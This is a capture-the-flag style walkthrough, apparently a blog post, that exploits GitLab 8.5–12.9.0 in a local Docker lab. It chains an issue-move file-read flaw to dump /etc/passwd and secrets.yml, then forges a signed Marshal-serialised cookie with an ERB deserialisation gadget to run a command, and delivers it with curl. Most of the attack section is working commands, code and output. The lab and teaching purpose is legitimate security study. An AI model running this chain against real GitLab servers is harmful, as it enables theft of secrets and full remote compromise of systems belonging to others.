Exploiting GitLab: Baking a Poisonous Cookie
GITLAB 8.5 - 12.9.0 LFI TO RCE
A few days ago I was working on a box @HackTheBox and found myself against a “you gotta do your job“ foothold for a machine. Everyone was discussing how chaining exploits and working around the box with an external auxiliary lab was more than necessary for an easy-rated box. It required more work than the usual on easy boxes, so I’m writing this one with the extent of clarifying the attack path.
TEST ENVIRONMENT AND THE LOCAL FILE INCLUSION
Let’s start by firing up a GitLab instance using docker! Then open your browser and go to your localhost.
docker run -d -p 443:443 -p 80:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.8.1-ce.0
GitLab’s Initial Page
Choose a password for the admin user and login with the following email: [email protected].
Right after proceed with the creation of two projects.
Project 1
Project 2
Once you’ve finished creating these two projects, open an issue in one of them and attach a file.
Create Issue and Attach File
Local File Inclusion and Submit the Issue
Move the issue to Project 1
Select Project 1
There’s the Link
Copy Link Address and cURL to the copied URL
$ curl http://127.0.0.1/root/project1/uploads/8f97998be7e9f02f6048e0db184920ce/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
THE REMOTE CODE EXECUTION
Now if we… >D
How to hack a Rails app using its secret_token - Robert Heaton
“Create a new Rails app, open /config/initializers/secret_token.rb and you’ll see your app’s secret_token. As I will show you, if anyone who wishes you harm gets hold of this string then they can execute arbitrary code on your server. Troublingly, the Rails default includes it in your version control, and if you don’t remove it then anyone who gets or is given access to your codebase has complete, complete control over your server. Maybe you added them to your private repo for a code review, or unthinkingly put a side-project production app into a public repo, or someone sneaked a look at your Sublime while you were out. It doesn’t matter - if they have this key then they own you.”
– Robert Heaton
Retrieving the secret_token
Edit the issue and change the /etc/passwd location to the secrets file location: /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml. Then move it to Project 2.
Edit the issue to use the secret’s location*
Move it again to retrieve the correct URL
Then cURL the address just like before and there is your secret.
$ curl http://127.0.0.1/root/project2/uploads/ac52ce8ce08ea2dde7b2813188cfedb5/secrets.yml
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.
---
production:
db_key_base: f3c10222bf26ce8f24510adfe7b02bc9a1205f1ba0127d00f22eb2de822c2f5cec3f91666a682b57dc7e70f69b49a03180e1152864e7a3a1f082c43acfa2e188
secret_key_base: 1d1d8d07e52746f349e21fc345bafd63a7f49048cb7d52e5aa50ffeb1470c615e8dbcf25d95dadcfd4739d4434828bf60fb7cec4d75fadfc597201a278e84819
otp_key_base: b96a0db4b82ac6e5283ec247f7da68befafde46916bb7f98209a50086e770742b1755271a96cbd2f585c4cc5b396a06bd89fe0a67e1c02fa4e5e8f462de25c8c
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
.
.
.
-----END RSA PRIVATE KEY-----
Baking the Poisonous Cookie
Fire up the gitlab-rails console from inside the lab (Docker Container).
┌──(kali㉿kali)-[~]
└─$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
576c078dd4d2 gitlab/gitlab-ce:12.8.1-ce.0 "/assets/wrapper" 48 minutes ago Up 48 minutes (healthy) 0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp, 0.0.0.0:2222->22/tcp gitlab
┌──(kali㉿kali)-[~]
└─$ docker exec -it 576 /bin/bash
root@576c078dd4d2:/# gitlab-rails console
--------------------------------------------------------------------------------
GitLab: 12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL: 10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
irb(main):001:0>
And then bake the cookie
# create cookie with reverse shell payload
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo Hello > /tmp/hello` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
Output
Now cURL GitLab with the fresh baked cookie.
curl -k -vvv 'http://127.0.0.1/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0O...0fe166444b2ae1012"
And there you have it.